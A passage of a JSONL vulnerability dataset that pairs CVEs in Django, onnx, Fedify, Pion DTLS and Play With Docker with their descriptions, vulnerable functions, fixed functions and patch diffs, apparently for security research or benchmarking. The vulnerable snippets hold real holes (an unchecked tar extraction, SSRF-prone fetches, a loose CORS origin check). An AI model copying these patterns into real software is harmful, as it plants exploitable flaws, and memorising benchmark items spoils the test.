cfg.MaxTTL\n+\tresp.Secret.TTL = cfg.TTL\n+\n+\t// If the request came with a TTL value, overwrite the config default\n \tif ttl > 0 {\n \t\tresp.Secret.TTL = time.Duration(ttl) * time.Second\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-33571", "cve_description": "In Django 2.2 before 2.2.24, 3.x before 3.1.12, and 3.2 before 3.2.4, URLValidator, validate_ipv4_address, and validate_ipv46_address do not prohibit leading zero characters in octal literals. This may allow a bypass of access control that is based on IP addresses. (validate_ipv4_address and validate_ipv46_address are unaffected with Python 3.9.5+..) .", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/f27c38ab5d90f68c9dd60cabef248a570c0be8fc", "https://github.com/django/django/commit/203d4ab9ebcd72fc4d6eb7398e66ed9e474e118e", "https://github.com/django/django/commit/9f75e2e562fa0c0482f3dde6fc7399a9070b4a3d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_215_1", "commit": "053cc95", "file_path": "django/core/validators.py", "start_line": 77, "end_line": 78, "snippet": "    # IP patterns\n    ipv4_re = r'(?:25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(?:\\.(?:25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}'"}, {"id": "vul_py_215_2", "commit": "053cc95", "file_path": "django/core/validators.py", "start_line": 254, "end_line": 258, "snippet": "def validate_ipv4_address(value):\n    try:\n        ipaddress.IPv4Address(value)\n    except ValueError:\n        raise ValidationError(_('Enter a valid IPv4 address.'), code='invalid')"}], "fix_func": [{"id": "fix_py_215_1", "commit": "f27c38a", "file_path": "django/core/validators.py", "start_line": 77, "end_line": 78, "snippet": "    # IP patterns\n    ipv4_re = r'(?:0|25[0-5]|2[0-4]\\d|1\\d?\\d?|[1-9]\\d?)(?:\\.(?:0|25[0-5]|2[0-4]\\d|1\\d?\\d?|[1-9]\\d?)){3}'"}, {"id": "fix_py_215_2", "commit": "f27c38a", "file_path": "django/core/validators.py", "start_line": 254, "end_line": 270, "snippet": "def validate_ipv4_address(value):\n    try:\n        ipaddress.IPv4Address(value)\n    except ValueError:\n        raise ValidationError(_('Enter a valid IPv4 address.'), code='invalid')\n    else:\n        # Leading zeros are forbidden to avoid ambiguity with the octal\n        # notation. This restriction is included in Python 3.9.5+.\n        # TODO: Remove when dropping support for PY39.\n        if any(\n            octet != '0' and octet[0] == '0'\n            for octet in value.split('.')\n        ):\n            raise ValidationError(\n                _('Enter a valid IPv4 address.'),\n                code='invalid',\n            )"}], "vul_patch": "--- a/django/core/validators.py\n+++ b/django/core/validators.py\n@@ -1,2 +1,2 @@\n     # IP patterns\n-    ipv4_re = r'(?:25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(?:\\.(?:25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}'\n+    ipv4_re = r'(?:0|25[0-5]|2[0-4]\\d|1\\d?\\d?|[1-9]\\d?)(?:\\.(?:0|25[0-5]|2[0-4]\\d|1\\d?\\d?|[1-9]\\d?)){3}'\n\n--- a/django/core/validators.py\n+++ b/django/core/validators.py\n@@ -3,3 +3,15 @@\n         ipaddress.IPv4Address(value)\n     except ValueError:\n         raise ValidationError(_('Enter a valid IPv4 address.'), code='invalid')\n+    else:\n+        # Leading zeros are forbidden to avoid ambiguity with the octal\n+        # notation. This restriction is included in Python 3.9.5+.\n+        # TODO: Remove when dropping support for PY39.\n+        if any(\n+            octet != '0' and octet[0] == '0'\n+            for octet in value.split('.')\n+        ):\n+            raise ValidationError(\n+                _('Enter a valid IPv4 address.'),\n+                code='invalid',\n+            )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-5187", "cve_description": "A vulnerability in the `download_model_with_test_data` function of the onnx/onnx framework, version 1.16.0, allows for arbitrary file overwrite due to inadequate prevention of path traversal attacks in malicious tar files. This vulnerability enables attackers to overwrite any file on the system, potentially leading to remote code execution, deletion of system, personal, or application files, thus impacting the integrity and availability of the system. The issue arises from the function's handling of tar file extraction without performing security checks on the paths within the tar file, as demonstrated by the ability to overwrite the `/home/kali/.ssh/authorized_keys` file by specifying an absolute path in the malicious tar file.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/onnx/onnx", "patch_url": ["https://github.com/onnx/onnx/commit/3fc3845edb048df559aa2a839e39e95503a0ee34", "https://github.com/onnx/onnx/commit/1b70f9b673259360b6a2339c4bd97db9ea6e552f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_320_1", "commit": "06d4691", "file_path": "onnx/hub.py", "start_line": "293", "end_line": "378", "snippet": "def download_model_with_test_data(\n    model: str,\n    repo: str = \"onnx/models:main\",\n    opset: int | None = None,\n    force_reload: bool = False,\n    silent: bool = False,\n) -> str | None:\n    \"\"\"Downloads a model along with test data by name from the onnx model hub and returns the directory to which the files have been extracted.\n\n    Args:\n        model: The name of the onnx model in the manifest. This field is\n            case-sensitive\n        repo: The location of the model repo in format\n            \"user/repo[:branch]\". If no branch is found will default to\n            \"main\"\n        opset: The opset of the model to download. The default of `None`\n            automatically chooses the largest opset\n        force_reload: Whether to force the model to re-download even if\n            its already found in the cache\n        silent: Whether to suppress the warning message if the repo is\n            not trusted.\n\n    Returns:\n        str or None\n    \"\"\"\n    selected_model = get_model_info(model, repo, opset)\n\n    local_model_with_data_path_arr = selected_model.metadata[\n        \"model_with_data_path\"\n    ].split(\"/\")\n\n    model_with_data_sha = selected_model.metadata[\"model_with_data_sha\"]\n\n    if model_with_data_sha is not None:\n        local_model_with_data_path_arr[-1] = (\n            f\"{model_with_data_sha}_{local_model_with_data_path_arr[-1]}\"\n        )\n    local_model_with_data_path = join(\n        _ONNX_HUB_DIR, os.sep.join(local_model_with_data_path_arr)\n    )\n\n    if force_reload or not os.path.exists(local_model_with_data_path):\n        if not _verify_repo_ref(repo) and not silent:\n            msg = f\"The model repo specification {repo} is not trusted and may contain security vulnerabilities. Only continue if you trust this repo.\"\n\n            print(msg, file=sys.stderr)\n            print(\"Continue?[y/n]\")\n            if input().lower() != \"y\":\n                return None\n\n        os.makedirs(os.path.dirname(local_model_with_data_path), exist_ok=True)\n        lfs_url = _get_base_url(repo, True)\n        print(f\"Downloading {model} to local path {local_model_with_data_path}\")\n        _download_file(\n            lfs_url + selected_model.metadata[\"model_with_data_path\"],\n            local_model_with_data_path,\n        )\n    else:\n        print(f\"Using cached {model} model from {local_model_with_data_path}\")\n\n    with open(local_model_with_data_path, \"rb\") as f:\n        model_with_data_bytes = f.read()\n\n    if model_with_data_sha is not None:\n        downloaded_sha = hashlib.sha256(model_with_data_bytes).hexdigest()\n        if not downloaded_sha == model_with_data_sha:\n            raise AssertionError(\n                f\"The cached model {selected_model.model} has SHA256 {downloaded_sha} \"\n                f\"while checksum should be {model_with_data_sha}. \"\n                \"The model in the hub may have been updated. Use force_reload to \"\n                \"download the model from the model hub.\"\n            )\n\n    with tarfile.open(local_model_with_data_path) as model_with_data_zipped:\n        # FIXME: Avoid index manipulation with magic numbers\n        local_model_with_data_dir_path = local_model_with_data_path[\n            0 : len(local_model_with_data_path) - 7\n        ]\n        model_with_data_zipped.extractall(local_model_with_data_dir_path)\n    model_with_data_path = (\n        local_model_with_data_dir_path\n        + \"/\"\n        + os.listdir(local_model_with_data_dir_path)[0]\n    )\n\n    return model_with_data_path"}], "fix_func": [{"id": "fix_py_320_1", "commit": "3fc3845", "file_path": "onnx/hub.py", "start_line": "322", "end_line": "419", "snippet": "def download_model_with_test_data(\n    model: str,\n    repo: str = \"onnx/models:main\",\n    opset: int | None = None,\n    force_reload: bool = False,\n    silent: bool = False,\n) -> str | None:\n    \"\"\"Downloads a model along with test data by name from the onnx model hub and returns the directory to which the files have been extracted.\n    Users are responsible for making sure the model comes from a trusted source, and the data is safe to be extracted.\n\n    Args:\n        model: The name of the onnx model in the manifest. This field is\n            case-sensitive\n        repo: The location of the model repo in format\n            \"user/repo[:branch]\". If no branch is found will default to\n            \"main\"\n        opset: The opset of the model to download. The default of `None`\n            automatically chooses the largest opset\n        force_reload: Whether to force the model to re-download even if\n            its already found in the cache\n        silent: Whether to suppress the warning message if the repo is\n            not trusted.\n\n    Returns:\n        str or None\n    \"\"\"\n    selected_model = get_model_info(model, repo, opset)\n\n    local_model_with_data_path_arr = selected_model.metadata[\n        \"model_with_data_path\"\n    ].split(\"/\")\n\n    model_with_data_sha = selected_model.metadata[\"model_with_data_sha\"]\n\n    if model_with_data_sha is not None:\n        local_model_with_data_path_arr[-1] = (\n            f\"{model_with_data_sha}_{local_model_with_data_path_arr[-1]}\"\n        )\n    local_model_with_data_path = join(\n        _ONNX_HUB_DIR, os.sep.join(local_model_with_data_path_arr)\n    )\n\n    if force_reload or not os.path.exists(local_model_with_data_path):\n        if not _verify_repo_ref(repo) and not silent:\n            msg = f\"The model repo specification {repo} is not trusted and may contain security vulnerabilities. Only continue if you trust this repo.\"\n\n            print(msg, file=sys.stderr)\n            print(\"Continue?[y/n]\")\n            if input().lower() != \"y\":\n                return None\n\n        os.makedirs(os.path.dirname(local_model_with_data_path), exist_ok=True)\n        lfs_url = _get_base_url(repo, True)\n        print(f\"Downloading {model} to local path {local_model_with_data_path}\")\n        _download_file(\n            lfs_url + selected_model.metadata[\"model_with_data_path\"],\n            local_model_with_data_path,\n        )\n    else:\n        print(f\"Using cached {model} model from {local_model_with_data_path}\")\n\n    with open(local_model_with_data_path, \"rb\") as f:\n        model_with_data_bytes = f.read()\n\n    if model_with_data_sha is not None:\n        downloaded_sha = hashlib.sha256(model_with_data_bytes).hexdigest()\n        if not downloaded_sha == model_with_data_sha:\n            raise AssertionError(\n                f\"The cached model {selected_model.model} has SHA256 {downloaded_sha} \"\n                f\"while checksum should be {model_with_data_sha}. \"\n                \"The model in the hub may have been updated. Use force_reload to \"\n                \"download the model from the model hub.\"\n            )\n\n    with tarfile.open(local_model_with_data_path) as model_with_data_zipped:\n        # FIXME: Avoid index manipulation with magic numbers\n        local_model_with_data_dir_path = local_model_with_data_path[\n            0 : len(local_model_with_data_path) - 7\n        ]\n        # Mitigate tarball directory traversal risks\n        if hasattr(tarfile, \"data_filter\"):\n            model_with_data_zipped.extractall(\n                path=local_model_with_data_dir_path, filter=\"data\"\n            )\n        else:\n            model_with_data_zipped.extractall(\n                path=local_model_with_data_dir_path,\n                members=_tar_members_filter(\n                    model_with_data_zipped, local_model_with_data_dir_path\n                ),\n            )\n    model_with_data_path = (\n        local_model_with_data_dir_path\n        + \"/\"\n        + os.listdir(local_model_with_data_dir_path)[0]\n    )\n\n    return model_with_data_path"}, {"id": "fix_py_320_2", "commit": "3fc3845", "file_path": "onnx/hub.py", "start_line": "293", "end_line": "319", "snippet": "def _tar_members_filter(tar: tarfile.TarFile, base: str) -> list[tarfile.TarInfo]:\n    \"\"\"Check that the content of ``tar`` will be extracted safely\n\n    Args:\n        tar: The tarball file\n        base: The directory where the tarball will be extracted\n\n    Returns:\n        list of tarball members\n    \"\"\"\n    result = []\n    for member in tar:\n        member_path = os.path.join(base, member.name)\n        abs_base = os.path.abspath(base)\n        abs_member = os.path.abspath(member_path)\n        if not abs_member.startswith(abs_base):\n            raise RuntimeError(\n                f\"The tarball member {member_path} in downloading model contains \"\n                f\"directory traversal sequence which may contain harmful payload.\"\n            )\n        elif member.issym() or member.islnk():\n            raise RuntimeError(\n                f\"The tarball member {member_path} in downloading model contains \"\n                f\"symbolic links which may contain harmful payload.\"\n            )\n        result.append(member)\n    return result"}], "vul_patch": "--- a/onnx/hub.py\n+++ b/onnx/hub.py\n@@ -6,6 +6,7 @@\n     silent: bool = False,\n ) -> str | None:\n     \"\"\"Downloads a model along with test data by name from the onnx model hub and returns the directory to which the files have been extracted.\n+    Users are responsible for making sure the model comes from a trusted source, and the data is safe to be extracted.\n \n     Args:\n         model: The name of the onnx model in the manifest. This field is\n@@ -76,7 +77,18 @@\n         local_model_with_data_dir_path = local_model_with_data_path[\n             0 : len(local_model_with_data_path) - 7\n         ]\n-        model_with_data_zipped.extractall(local_model_with_data_dir_path)\n+        # Mitigate tarball directory traversal risks\n+        if hasattr(tarfile, \"data_filter\"):\n+            model_with_data_zipped.extractall(\n+                path=local_model_with_data_dir_path, filter=\"data\"\n+            )\n+        else:\n+            model_with_data_zipped.extractall(\n+                path=local_model_with_data_dir_path,\n+                members=_tar_members_filter(\n+                    model_with_data_zipped, local_model_with_data_dir_path\n+                ),\n+            )\n     model_with_data_path = (\n         local_model_with_data_dir_path\n         + \"/\"\n\n--- /dev/null\n+++ b/onnx/hub.py\n@@ -0,0 +1,27 @@\n+def _tar_members_filter(tar: tarfile.TarFile, base: str) -> list[tarfile.TarInfo]:\n+    \"\"\"Check that the content of ``tar`` will be extracted safely\n+\n+    Args:\n+        tar: The tarball file\n+        base: The directory where the tarball will be extracted\n+\n+    Returns:\n+        list of tarball members\n+    \"\"\"\n+    result = []\n+    for member in tar:\n+        member_path = os.path.join(base, member.name)\n+        abs_base = os.path.abspath(base)\n+        abs_member = os.path.abspath(member_path)\n+        if not abs_member.startswith(abs_base):\n+            raise RuntimeError(\n+                f\"The tarball member {member_path} in downloading model contains \"\n+                f\"directory traversal sequence which may contain harmful payload.\"\n+            )\n+        elif member.issym() or member.islnk():\n+            raise RuntimeError(\n+                f\"The tarball member {member_path} in downloading model contains \"\n+                f\"symbolic links which may contain harmful payload.\"\n+            )\n+        result.append(member)\n+    return result\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-23221", "cve_description": "Fedify is a TypeScript library for building federated server apps powered by ActivityPub and other standards. This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim\u2019s server into an infinite loop causing Denial of Service. Moreover, this issue can also be maneuvered into performing a Blind SSRF attack. This vulnerability is fixed in 1.0.14, 1.1.11, 1.2.11, and 1.3.4.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/dahlia/fedify", "patch_url": ["https://github.com/dahlia/fedify/commit/e921134dd5097586e4563ea80b9e8d1b5460a645", "https://github.com/dahlia/fedify/commit/c505eb82fcd6b5b17174c6659c29721bc801ab9a", "https://github.com/dahlia/fedify/commit/8be3c2038eebf4ae12481683a1e809b314be3151"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_37_1", "commit": "c505eb8", "file_path": "src/webfinger/lookup.ts", "start_line": 14, "end_line": 106, "snippet": "export async function lookupWebFinger(\n  resource: URL | string,\n): Promise<ResourceDescriptor | null> {\n  if (typeof resource === \"string\") resource = new URL(resource);\n  let protocol = \"https:\";\n  let server: string;\n  if (resource.protocol === \"acct:\") {\n    const atPos = resource.pathname.lastIndexOf(\"@\");\n    if (atPos < 0) return null;\n    server = resource.pathname.substring(atPos + 1);\n    if (server === \"\") return null;\n  } else {\n    protocol = resource.protocol;\n    server = resource.host;\n  }\n  let url = new URL(`${protocol}//${server}/.well-known/webfinger`);\n  url.searchParams.set(\"resource\", resource.href);\n  let redirected = 0;\n  while (true) {\n    logger.debug(\n      \"Fetching WebFinger resource descriptor from {url}...\",\n      { url: url.href },\n    );\n    let response: Response;\n    try {\n      response = await fetch(url, {\n        headers: { Accept: \"application/jrd+json\" },\n        redirect: \"manual\",\n      });\n    } catch (error) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {error}\",\n        { url: url.href, error },\n      );\n      return null;\n    }\n    if (\n      response.status >= 300 && response.status < 400 &&\n      response.headers.has(\"Location\")\n    ) {\n      redirected++;\n      if (redirected >= MAX_REDIRECTION) {\n        logger.error(\n          \"Too many redirections ({redirections}) while fetching WebFinger \" +\n            \"resource descriptor.\",\n          { redirections: redirected },\n        );\n        return null;\n      }\n      const redirectedUrl = new URL(\n        response.headers.get(\"Location\")!,\n        response.url == null || response.url === \"\" ? url : response.url,\n      );\n      if (redirectedUrl.protocol !== url.protocol) {\n        logger.error(\n          \"Redirected to a different protocol ({protocol} to \" +\n            \"{redirectedProtocol}) while fetching WebFinger resource \" +\n            \"descriptor.\",\n          {\n            protocol: url.protocol,\n            redirectedProtocol: redirectedUrl.protocol,\n          },\n        );\n        return null;\n      }\n      url = redirectedUrl;\n      continue;\n    }\n    if (!response.ok) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n        {\n          url: url.href,\n          status: response.status,\n          statusText: response.statusText,\n        },\n      );\n      return null;\n    }\n    try {\n      return await response.json() as ResourceDescriptor;\n    } catch (e) {\n      if (e instanceof SyntaxError) {\n        logger.debug(\n          \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n          { error: e },\n        );\n        return null;\n      }\n      throw e;\n    }\n  }\n}"}], "fix_func": [{"id": "fix_js_37_1", "commit": "8be3c2038eebf4ae12481683a1e809b314be3151", "file_path": "src/webfinger/lookup.ts", "start_line": 15, "end_line": 108, "snippet": "export async function lookupWebFinger(\n  resource: URL | string,\n): Promise<ResourceDescriptor | null> {\n  if (typeof resource === \"string\") resource = new URL(resource);\n  let protocol = \"https:\";\n  let server: string;\n  if (resource.protocol === \"acct:\") {\n    const atPos = resource.pathname.lastIndexOf(\"@\");\n    if (atPos < 0) return null;\n    server = resource.pathname.substring(atPos + 1);\n    if (server === \"\") return null;\n  } else {\n    protocol = resource.protocol;\n    server = resource.host;\n  }\n  let url = new URL(`${protocol}//${server}/.well-known/webfinger`);\n  url.searchParams.set(\"resource\", resource.href);\n  let redirected = 0;\n  while (true) {\n    logger.debug(\n      \"Fetching WebFinger resource descriptor from {url}...\",\n      { url: url.href },\n    );\n    let response: Response;\n    await validatePublicUrl(url.href);\n    try {\n      response = await fetch(url, {\n        headers: { Accept: \"application/jrd+json\" },\n        redirect: \"manual\",\n      });\n    } catch (error) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {error}\",\n        { url: url.href, error },\n      );\n      return null;\n    }\n    if (\n      response.status >= 300 && response.status < 400 &&\n      response.headers.has(\"Location\")\n    ) {\n      redirected++;\n      if (redirected >= MAX_REDIRECTION) {\n        logger.error(\n          \"Too many redirections ({redirections}) while fetching WebFinger \" +\n            \"resource descriptor.\",\n          { redirections: redirected },\n        );\n        return null;\n      }\n      const redirectedUrl = new URL(\n        response.headers.get(\"Location\")!,\n        response.url == null || response.url === \"\" ? url : response.url,\n      );\n      if (redirectedUrl.protocol !== url.protocol) {\n        logger.error(\n          \"Redirected to a different protocol ({protocol} to \" +\n            \"{redirectedProtocol}) while fetching WebFinger resource \" +\n            \"descriptor.\",\n          {\n            protocol: url.protocol,\n            redirectedProtocol: redirectedUrl.protocol,\n          },\n        );\n        return null;\n      }\n      url = redirectedUrl;\n      continue;\n    }\n    if (!response.ok) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n        {\n          url: url.href,\n          status: response.status,\n          statusText: response.statusText,\n        },\n      );\n      return null;\n    }\n    try {\n      return await response.json() as ResourceDescriptor;\n    } catch (e) {\n      if (e instanceof SyntaxError) {\n        logger.debug(\n          \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n          { error: e },\n        );\n        return null;\n      }\n      throw e;\n    }\n  }\n}"}], "vul_patch": "--- a/src/webfinger/lookup.ts\n+++ b/src/webfinger/lookup.ts\n@@ -22,6 +22,7 @@\n       { url: url.href },\n     );\n     let response: Response;\n+    await validatePublicUrl(url.href);\n     try {\n       response = await fetch(url, {\n         headers: { Accept: \"application/jrd+json\" },\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-23221:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/fedify\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd src && deno test --allow-env ./webfinger/lookup.test.ts\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-23221:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/fedify\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd src && deno test --allow-env ./webfinger/lookup.test.ts\n"}
{"cve_id": "CVE-2019-20786", "cve_description": "handleIncomingPacket in conn.go in Pion DTLS before 1.5.2 lacks a check for application data with epoch 0, which allows remote attackers to inject arbitrary unencrypted data after handshake completion.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/pion/dtls", "patch_url": ["https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_159_1", "commit": "8294885", "file_path": "conn.go", "start_line": 495, "end_line": 567, "snippet": "func (c *Conn) handleIncomingPacket(buf []byte) (*alert, error) {\n\t// TODO: avoid separate unmarshal\n\th := &recordLayerHeader{}\n\tif err := h.Unmarshal(buf); err != nil {\n\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t}\n\n\tif h.epoch < c.getRemoteEpoch() {\n\t\tif _, alertPtr, err := c.flightHandler(c); err != nil {\n\t\t\treturn alertPtr, err\n\t\t}\n\t}\n\n\tif h.epoch != 0 {\n\t\tif c.state.cipherSuite == nil || !c.state.cipherSuite.isInitialized() {\n\t\t\tc.log.Debug(\"handleIncoming: Handshake not finished, dropping packet\")\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tvar err error\n\t\tbuf, err = c.state.cipherSuite.decrypt(buf)\n\t\tif err != nil {\n\t\t\tc.log.Debugf(\"decrypt failed: %s\", err)\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\n\tisHandshake, err := c.fragmentBuffer.push(append([]byte{}, buf...))\n\tif err != nil {\n\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t} else if isHandshake {\n\t\tnewHandshakeMessage := false\n\t\tfor out := c.fragmentBuffer.pop(); out != nil; out = c.fragmentBuffer.pop() {\n\t\t\trawHandshake := &handshake{}\n\t\t\tif err := rawHandshake.Unmarshal(out); err != nil {\n\t\t\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t\t\t}\n\n\t\t\tif c.handshakeCache.push(out, rawHandshake.handshakeHeader.messageSequence, rawHandshake.handshakeHeader.handshakeType, !c.state.isClient) {\n\t\t\t\tnewHandshakeMessage = true\n\t\t\t}\n\t\t}\n\t\tif !newHandshakeMessage {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tc.lock.Lock()\n\t\tdefer c.lock.Unlock()\n\t\treturn c.handshakeMessageHandler(c)\n\t}\n\n\tr := &recordLayer{}\n\tif err := r.Unmarshal(buf); err != nil {\n\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t}\n\n\tswitch content := r.content.(type) {\n\tcase *alert:\n\t\tc.log.Tracef(\"<- %s\", content.String())\n\t\tif content.alertDescription == alertCloseNotify {\n\t\t\treturn nil, c.Close()\n\t\t}\n\t\treturn nil, fmt.Errorf(\"alert: %v\", content)\n\tcase *changeCipherSpec:\n\t\tc.log.Trace(\"<- ChangeCipherSpec\")\n\t\tc.setRemoteEpoch(c.getRemoteEpoch() + 1)\n\tcase *applicationData:\n\t\tc.decrypted <- content.data\n\tdefault:\n\t\treturn &alert{alertLevelFatal, alertUnexpectedMessage}, fmt.Errorf(\"unhandled contentType %d\", content.contentType())\n\t}\n\treturn nil, nil\n}"}], "fix_func": [{"id": "fix_go_159_1", "commit": "fd73a5d", "file_path": "conn.go", "start_line": 495, "end_line": 571, "snippet": "func (c *Conn) handleIncomingPacket(buf []byte) (*alert, error) {\n\t// TODO: avoid separate unmarshal\n\th := &recordLayerHeader{}\n\tif err := h.Unmarshal(buf); err != nil {\n\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t}\n\n\tif h.epoch < c.getRemoteEpoch() {\n\t\tif _, alertPtr, err := c.flightHandler(c); err != nil {\n\t\t\treturn alertPtr, err\n\t\t}\n\t}\n\n\tif h.epoch != 0 {\n\t\tif c.state.cipherSuite == nil || !c.state.cipherSuite.isInitialized() {\n\t\t\tc.log.Debug(\"handleIncoming: Handshake not finished, dropping packet\")\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tvar err error\n\t\tbuf, err = c.state.cipherSuite.decrypt(buf)\n\t\tif err != nil {\n\t\t\tc.log.Debugf(\"decrypt failed: %s\", err)\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\n\tisHandshake, err := c.fragmentBuffer.push(append([]byte{}, buf...))\n\tif err != nil {\n\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t} else if isHandshake {\n\t\tnewHandshakeMessage := false\n\t\tfor out := c.fragmentBuffer.pop(); out != nil; out = c.fragmentBuffer.pop() {\n\t\t\trawHandshake := &handshake{}\n\t\t\tif err := rawHandshake.Unmarshal(out); err != nil {\n\t\t\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t\t\t}\n\n\t\t\tif c.handshakeCache.push(out, rawHandshake.handshakeHeader.messageSequence, rawHandshake.handshakeHeader.handshakeType, !c.state.isClient) {\n\t\t\t\tnewHandshakeMessage = true\n\t\t\t}\n\t\t}\n\t\tif !newHandshakeMessage {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tc.lock.Lock()\n\t\tdefer c.lock.Unlock()\n\t\treturn c.handshakeMessageHandler(c)\n\t}\n\n\tr := &recordLayer{}\n\tif err := r.Unmarshal(buf); err != nil {\n\t\treturn &alert{alertLevelFatal, alertDecodeError}, err\n\t}\n\n\tswitch content := r.content.(type) {\n\tcase *alert:\n\t\tc.log.Tracef(\"<- %s\", content.String())\n\t\tif content.alertDescription == alertCloseNotify {\n\t\t\treturn nil, c.Close()\n\t\t}\n\t\treturn nil, fmt.Errorf(\"alert: %v\", content)\n\tcase *changeCipherSpec:\n\t\tc.log.Trace(\"<- ChangeCipherSpec\")\n\t\tc.setRemoteEpoch(c.getRemoteEpoch() + 1)\n\tcase *applicationData:\n\t\tif h.epoch == 0 {\n\t\t\treturn &alert{alertLevelFatal, alertUnexpectedMessage}, fmt.Errorf(\"ApplicationData with epoch of 0\")\n\t\t}\n\n\t\tc.decrypted <- content.data\n\tdefault:\n\t\treturn &alert{alertLevelFatal, alertUnexpectedMessage}, fmt.Errorf(\"unhandled contentType %d\", content.contentType())\n\t}\n\treturn nil, nil\n}"}], "vul_patch": "--- a/conn.go\n+++ b/conn.go\n@@ -65,6 +65,10 @@\n \t\tc.log.Trace(\"<- ChangeCipherSpec\")\n \t\tc.setRemoteEpoch(c.getRemoteEpoch() + 1)\n \tcase *applicationData:\n+\t\tif h.epoch == 0 {\n+\t\t\treturn &alert{alertLevelFatal, alertUnexpectedMessage}, fmt.Errorf(\"ApplicationData with epoch of 0\")\n+\t\t}\n+\n \t\tc.decrypted <- content.data\n \tdefault:\n \t\treturn &alert{alertLevelFatal, alertUnexpectedMessage}, fmt.Errorf(\"unhandled contentType %d\", content.contentType())\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28109", "cve_description": "Play With Docker is a browser-based Docker playground. Versions 0.0.2 and prior are vulnerable to domain hijacking.\nBecause CORS configuration was not correct, an attacker could use `play-with-docker.com` as an example and set the origin header in an http request as `evil-play-with-docker.com`. The domain would echo in response header, which successfully bypassed the CORS policy and retrieved basic user information. This issue has been fixed in commit ed82247c9ab7990ad76ec2bf1498c2b2830b6f1a. There are no known workarounds.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/play-with-docker/play-with-docker", "patch_url": ["https://github.com/play-with-docker/play-with-docker/commit/ed82247c9ab7990ad76ec2bf1498c2b2830b6f1a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_249_1", "commit": "2b95e660793b807e692476c7dc1f19849235eec8", "file_path": "handlers/bootstrap.go", "start_line": 65, "end_line": 199, "snippet": "func Register(extend HandlerExtender) {\n\tinitPlaygrounds()\n\n\tr := mux.NewRouter()\n\tcorsRouter := mux.NewRouter()\n\n\tcorsHandler := gh.CORS(gh.AllowCredentials(), gh.AllowedHeaders([]string{\"x-requested-with\", \"content-type\"}), gh.AllowedMethods([]string{\"GET\", \"POST\", \"HEAD\", \"DELETE\"}), gh.AllowedOriginValidator(func(origin string) bool {\n\t\tif strings.Contains(origin, \"localhost\") ||\n\t\t\tstrings.HasSuffix(origin, \"play-with-docker.com\") ||\n\t\t\tstrings.HasSuffix(origin, \"play-with-kubernetes.com\") ||\n\t\t\tstrings.HasSuffix(origin, \"docker.com\") ||\n\t\t\tstrings.HasSuffix(origin, \"play-with-go.dev\") {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}), gh.AllowedOrigins([]string{}))\n\n\t// Specific routes\n\tr.HandleFunc(\"/ping\", Ping).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/instances/images\", 